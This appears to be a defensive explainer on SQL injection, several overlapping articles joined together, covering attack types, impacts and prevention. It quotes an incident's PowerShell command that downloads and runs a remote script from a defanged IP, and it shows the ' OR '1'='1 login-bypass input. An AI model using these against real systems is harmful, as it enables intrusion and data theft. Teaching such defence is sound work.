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What Is SQL Injection (SQLi)?
SQL injection (SQLi) is a cyberattack that injects malicious SQL code into an application, allowing the attacker to view or modify a database. According to the Open Web Application Security Project, injection attacks, which include SQL injections, were the third most serious web application security risk in 2021. In the applications they tested, there were 274,000 occurrences of injection.
To protect against SQL injection attacks, it is essential to understand what their impact is and how they happen so you can follow best practices, test for vulnerabilities, and consider investing in software that actively prevents attacks.
Consequences of a Successful SQL Injection Attack
SQL injection attacks can have a significant negative impact on an organization. Organizations have access to sensitive company data and private customer information, and SQL injection attacks often target that confidential information. When a malicious user successfully completes an SQL injection attack, it can have any of the following impacts:

  • Exposes Sensitive Company Data: Using SQL injection, attackers can retrieve and alter data, which risks exposing sensitive company data stored on the SQL server.

  • Compromise Users’ Privacy: Depending on the data stored on the SQL server, an attack can expose private user data, such as credit card numbers.

  • Give an attacker administrative access to your system: If a database user has administrative privileges, an attacker can gain access to the system using malicious code. To protect against this kind of vulnerability, create a database user with the least possible privileges.

  • Give an Attacker General Access to Your System: If you use weak SQL commands to check user names and passwords, an attacker could gain access to your system without knowing a user’s credentials. With general access to your system, an attacker can cause additional damage accessing and manipulating sensitive information.

  • Compromise the Integrity of Your Data: Using SQL injection, attackers can make changes to or delete information from your system.

Because the impact of a successful SQL injection attack can be severe, it’s important for businesses to practice prevention and limit vulnerabilities before an attack occurs. To do that, you must understand how a SQL injection attack occurs, so you know what you’re up against.
3 Types of SQL Injection
By understanding cybersecurity threats, organizations can better prepare for attacks and remedy vulnerabilities. Let’s take a look at the types of SQL injection attacks, which fall into three categories: in-band SQL injection, inferential SQL injection and out-of-band SQL injection.
1. In-band SQL Injection
In-band SQL injection is the most common type of attack. With this type of SQL injection attack, a malicious user uses the same communication channel for the attack and to gather results. The following techniques are the most common types of in-band SQL injection attacks:

  • Error-based SQL injection: With this technique, attackers gain information about the database structure when they use a SQL command to generate an error message from the database server. Error messages are useful when developing a web application or web page, but they can be a vulnerability later because they expose information about the database. To prevent this vulnerability, you can disable error messages after a website or application is live.

  • Union-based SQL injection: With this technique, attackers use the UNION SQL operator to combine multiple select statements and return a single HTTP response. An attacker can use this technique to extract information from the database. This technique is the most common type of SQL injection and requires more security measures to combat than error-based SQL injection.

2. Inferential SQL Injection
Inferential SQL injection is also called blind SQL injection because the website database doesn’t transfer data to the attacker like with in-band SQL injection. Instead, a malicious user can learn about the structure of the server by sending data payloads and observing the response. Inferential SQL injection attacks are less common than in-band SQL injection attacks because they can take longer to complete. The two types of inferential SQL injection attacks use the following techniques:

  • Boolean injection: With this technique, attackers send a SQL query to the database and observe the result. Attackers can infer if a result is true or false based on whether the information in the HTTP response was modified.

  • Time-based injection: With this technique, attackers send a SQL query to the database, making the database wait a specific number of seconds before responding. Attackers can determine if the result is true or false based on the number of seconds that elapses before a response. For example, a hacker could use a SQL query that commands a delay if the first letter of the first database’s name is A. Then, if the response is delayed, the attacker knows the query is true.

3. Out-of-Band SQL Injection
Out-of-band SQL injection is the least common type of attack. With this type of SQL injection attack, malicious users use a different communication channel for the attack than they use to gather results. Attackers use this method if a server is too slow or unstable to use inferential SQL injection or in-band SQL injection.
How Is an SQL Injection Attack Performed?
SQL is a language used in programming that is designed for data in a relational data stream management system. SQL queries execute commands, including commands to retrieve data, update data and delete records. To execute malicious commands, an attacker can insert malicious code into strings that are passed to a SQL server to execute. There are several ways that malicious users can execute an attack, but common vulnerable inputs in a web application or web page are user-input fields like forms that allow free text.
SQL Injection Example
Crowdstrike Falcon Overwatch observed an incident in which SQL was injected successfully to gain code execution as an initial infection vector, leading to the execution of encoded PowerShell commands which encoded to:
$p=((New-Object Net.WebClient).DownloadString('http[:]//46.17.105[.]207/lzbt6001sop_64refl.ps1'));$p|.('IeX')
The command triggered the download of a Demux PowerShell loader commonly used by , a cyber adversary that primarily targets the hospitality and retail sectors to gather payment card data. Demur executed a stager DLL in memory that used 
46.17.105[.]207
 and 
185.242.85[.]126
 for command-and-control (C2) communications.
Additionally, the actor used both 
echo 1
 and 
ping -n [number] 127.0.0.1
 multiple times to ensure connectivity and responsiveness of the host to the SQL Injection attempts. It also used 
wmic
 to query the domain name.
9 Best Practices to Protect Your Database from SQL Injection
When developing your website or web application, you can incorporate security measures that limit your exposure to SQL injection attacks. For example, the following  are the most effective ways to prevent SQL injection attacks:

  1. Install the latest software and security patches from vendors when available.

  2. Give accounts that connect to the SQL database only the minimum privileges needed.

  3. Don’t share database accounts across different websites and applications.

  4. Use validation for all types of user-supplied input, including drop-down menus.

  5. Configure error reporting instead of sending error messages to the client web browser.

  6. Use prepared statements with parameterized queries that define all the SQL code and pass in each parameter so attackers can’t change the intent of a query later.

  7. Use stored procedures to build SQL statements with parameters that are stored in the database and called from the application.

  8. Use allowlist input validation to prevent unvalidated user input from being added to query.

  9. Escape all user-supplied input before putting it in a query so that the input isn’t confused with SQL code from the developer.

In general, organizations should avoid using shared accounts so that attackers can’t gain further access if one account is compromised. Organizations should also avoid sending database error messages to the client web browser because attackers can use that information to understand technical details about the database.
CrowdStrike’s Approach to Stopping SQL Attacks
Because SQL injection is a common hacking technique and the consequences can be severe, it’s important to protect your business from these threats. By following best practices and periodically testing for vulnerabilities, you can reduce the likelihood of becoming a victim of a SQL injection attack. In addition, organizations should consider investing in a comprehensive cybersecurity solution like the CrowdStrike Falcon® platform. Cybersecurity solutions help strengthen your security posture against SQL injection and many other cybersecurity risks.
The Falcon platform is highly modular and extensible, making it easy to adopt the protection you need. The cloud-based architecture can defend enterprise organizations without compromising speed and performance. CrowdStrike’s platform can help you secure the most critical areas of enterprise risk: endpoints, cloud workloads, identities, and data. To see how CrowdStrike could protect your business from a SQL injection attack, read how CrowdStrike’s threat hunting and intelligence teams stopped a SQL injection campaign.



 

SQL injection is a type of security vulnerability that occurs when an attacker is able to manipulate a web application's SQL queries. This is done by injecting malicious SQL code into an input field (such as a form field) that is improperly handled by the application. When the application processes this input without adequate validation or escaping, the attacker can execute arbitrary SQL code on the database.

How SQL Injection Works

  1. Input Manipulation: The attacker finds an input field (like a login form, search box, or URL parameter) that directly interacts with a database.

  2. Malicious SQL Code: The attacker crafts input that includes SQL commands. For example, instead of entering a regular username, they might enter something like:sql

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    ' OR '1'='1

  3. Execution of Malicious Code: If the web application does not properly sanitize this input, it might execute it directly on the database. For example, a poorly coded query might look like:sql

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    SELECT * FROM users WHERE username = 'admin' AND password = 'password';

    With the injected input, the query becomes:sql

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    SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

    This condition (' OR '1'='1') is always true, potentially granting unauthorized access.

Types of SQL Injection

  1. In-band SQL Injection: The attacker uses the same communication channel to perform the attack and gather results. This includes:

    • Error-based SQL Injection: Leveraging database error messages to gather information.

    • Union-based SQL Injection: Using the UNION SQL operator to combine the results of two or more SELECT statements.

  2. Blind SQL Injection: When the attacker cannot see the direct result of their injection. It includes:

    • Boolean-based Blind SQL Injection: Sending SQL payloads that cause the application to return different results based on true/false conditions.

    • Time-based Blind SQL Injection: Sending SQL payloads that conditionally cause a time delay in the database response.

  3. Out-of-band SQL Injection: When the attacker uses different channels to perform the attack and retrieve results, often exploiting the database's ability to make network connections.

Prevention Techniques

  1. Parameterized Queries (Prepared Statements): Using placeholders in SQL queries ensures that user inputs are treated as data, not executable code.

    sql

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    $stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?'); $stmt->execute([$username, $password]);

  2. Stored Procedures: Encapsulating SQL code in stored procedures can help, but they must also be properly designed to avoid SQL injection.

  3. Input Validation and Sanitization: Validating input to ensure it conforms to expected formats and escaping special characters can reduce the risk.

  4. Least Privilege Principle: Ensuring the database user account used by the application has only the necessary privileges reduces potential damage.

  5. Web Application Firewalls (WAF): These can detect and block many SQL injection attempts based on known patterns.

  6. Regular Security Testing: Conducting regular security audits and using automated tools to test for vulnerabilities helps identify and mitigate SQL injection risks.

Ethical Hacking and SQL Injection

In the context of ethical hacking, professionals use SQL injection techniques to test the security of web applications. This helps organizations identify and fix vulnerabilities before malicious hackers can exploit them. Ethical hackers follow strict guidelines and legal protocols, ensuring their activities are authorized and do not harm the systems they test.

By understanding and simulating SQL injection attacks, ethical hackers contribute to creating more secure web applications and protecting sensitive data from unauthorized access.


 

Advantages of SQL Injection (from an attacker’s perspective)

  1. Data Theft: Attackers can extract sensitive information such as user credentials, personal data, and financial details.

  2. Authentication Bypass: Attackers can gain unauthorized access to user accounts, including administrative privileges.

  3. Data Manipulation: Attackers can modify, delete, or insert data, potentially altering records and causing significant damage.

  4. Remote Code Execution: In some cases, SQL injection can be used to execute commands on the underlying server, leading to further exploitation.

  5. Gaining Information About the Database: Attackers can gather information about the database structure, which can be useful for further attacks.

Disadvantages of SQL Injection (from an attacker’s perspective)

  1. Detection and Logging: Many modern systems have logging and monitoring in place, which can detect and log suspicious activity, leading to the attacker’s identification.

  2. Legal Consequences: SQL injection attacks are illegal and can result in severe legal penalties, including fines and imprisonment.

  3. Countermeasures and Defenses: Many systems employ countermeasures such as web application firewalls (WAFs) and regular security audits, which can thwart SQL injection attempts.

  4. Partial Success: Sometimes, SQL injection might only provide limited access or data, making it less useful for attackers.

Advantages of Understanding SQL Injection (from a security perspective)

  1. Improved Security Awareness: Knowledge of SQL injection helps developers understand the importance of secure coding practices.

  2. Enhanced Defensive Measures: Awareness allows for the implementation of robust defenses such as input validation, parameterized queries, and regular security testing.

  3. Proactive Vulnerability Management: Regular testing for SQL injection vulnerabilities can help in identifying and fixing security flaws before they can be exploited.

  4. Compliance and Best Practices: Understanding SQL injection helps organizations comply with security standards and best practices, reducing the risk of breaches.

Disadvantages of SQL Injection (from a security perspective)

  1. Data Breaches: Successful SQL injection attacks can lead to significant data breaches, resulting in loss of sensitive information.

  2. Financial Loss: Organizations may face financial losses due to data breaches, regulatory fines, and damage control efforts.

  3. Reputation Damage: Breaches caused by SQL injection can severely damage an organization’s reputation, leading to loss of customer trust.

  4. Operational Disruption: SQL injection attacks can disrupt business operations by corrupting data, taking systems offline, or causing downtime.

  5. Legal and Regulatory Consequences: Organizations may face legal and regulatory repercussions if they fail to protect data adequately.

Conclusion

Understanding SQL injection is crucial for both attackers and defenders. While attackers can exploit it to gain unauthorized access and manipulate data, defenders can use this knowledge to implement strong security measures to protect their systems. The advantages for defenders lie in the ability to prevent breaches and enhance overall security, while the disadvantages highlight the potential risks and damages if such vulnerabilities are left unaddressed.


 

Function of SQL Injection

SQL Injection is a technique used to exploit vulnerabilities in a web application’s database interaction. The primary function of SQL injection is to manipulate SQL queries to perform unauthorized actions, such as:

  1. Data Retrieval: Extracting data from the database that should not be accessible. For example, an attacker might retrieve all user details including usernames and passwords.

  2. Authentication Bypass: Logging into the application without valid credentials. This is typically done by altering the SQL query logic to always return true.

  3. Data Manipulation: Inserting, updating, or deleting data within the database. For instance, an attacker could change the prices of products in an e-commerce application or delete records from a critical table.

  4. Execution of Arbitrary Commands: Depending on the database system, SQL injection can sometimes be used to execute commands on the server, leading to remote code execution and further exploitation.

  5. Information Disclosure: Revealing the structure of the database, such as table names and column names, which can be used to plan further attacks.

Scope of SQL Injection

Scope refers to the range and impact of SQL injection vulnerabilities. It can vary widely based on several factors:

  1. Type of Database Management System (DBMS):

    • Different DBMSs (e.g., MySQL, PostgreSQL, SQL Server, Oracle) have different behaviors and features that can be exploited. Some may allow more advanced attacks like remote command execution.

  2. Application Layer:

    • SQL injection can affect various layers of an application, including the user interface (e.g., forms, URLs), APIs, and backend services. Any point where user input interacts with the database is potentially vulnerable.

  3. Severity of Vulnerability:

    • Low: Limited to read-only access to non-sensitive data.

    • Medium: Allows reading sensitive data, such as user credentials.

    • High: Enables complete control over the database, including modifying and deleting data.

    • Critical: Extends to full control over the server hosting the database, possibly leading to network-wide compromise.

  4. Breadth of Impact:

    • Single User: Only affects data related to a single user or a small subset of users.

    • Entire Database: Can impact all records within the database, leading to widespread data breaches.

    • Multiple Systems: If the database is interconnected with other systems, SQL injection can potentially compromise multiple systems within an organization.

  5. Environment:

    • Development: Attacks may be used to test the security of applications in a controlled environment.

    • Production: Successful exploitation can lead to real-world consequences, such as data breaches, financial loss, and reputational damage.

Mitigation and Prevention

To mitigate the risk of SQL injection and limit its scope, organizations can implement several best practices:

  1. Parameterized Queries (Prepared Statements):

    • Ensure that user input is treated as data and not executable code. This prevents attackers from altering the structure of SQL queries.

  2. Stored Procedures:

    • Use stored procedures to encapsulate SQL logic. While not immune to SQL injection, they can reduce the risk if properly designed and implemented.

  3. Input Validation and Sanitization:

    • Validate and sanitize all user inputs to ensure they conform to expected formats and do not contain malicious SQL code.

  4. Least Privilege Principle:

    • Use database accounts with the minimum privileges necessary for the application to function. This limits the potential damage of a successful SQL injection attack.

  5. Web Application Firewalls (WAF):

    • Deploy WAFs to detect and block SQL injection attempts based on known attack patterns.

  6. Regular Security Testing:

    • Conduct regular security audits, including automated and manual testing, to identify and remediate SQL injection vulnerabilities.

  7. Error Handling and Reporting:

    • Implement proper error handling to prevent detailed database error messages from being displayed to users, which can provide attackers with valuable information.

Understanding the function and scope of SQL injection helps organizations build robust defenses and respond effectively to potential threats, thereby enhancing the overall security posture of their applications and systems.

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